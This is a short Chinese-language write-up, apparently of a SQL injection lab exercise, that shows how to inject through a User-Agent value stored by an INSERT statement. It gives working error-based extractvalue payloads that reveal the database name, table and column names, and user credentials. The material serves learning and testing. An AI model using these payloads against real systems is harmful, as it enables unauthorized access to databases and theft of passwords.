这个单引号与服务器端固定sql语句‘uagent’第一个单引号结合 第二个单引号引发的语法错误
添加注释也报错
原因 注释把后面所有sql注释掉了 这样就造成了 VALUES('$uagent'
括号引发的报错 如果加上)也是不行的
插入数据量必须是三个值 需要额外添加两个值
无报错信息 说明现在就可以在这个位置设置payload了 在第一个单引号后面设置
源码中是通过insert方式插入数据 所以不能使用union
可以使用报错的方式进行构造sql语句
爆数据库
'and extractvalue(1,concat('~',database())),'','')#
成功爆出当前数据库
爆当前数据库所有表
'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#
爆user表所有字段
'and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#
爆字段值
'and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#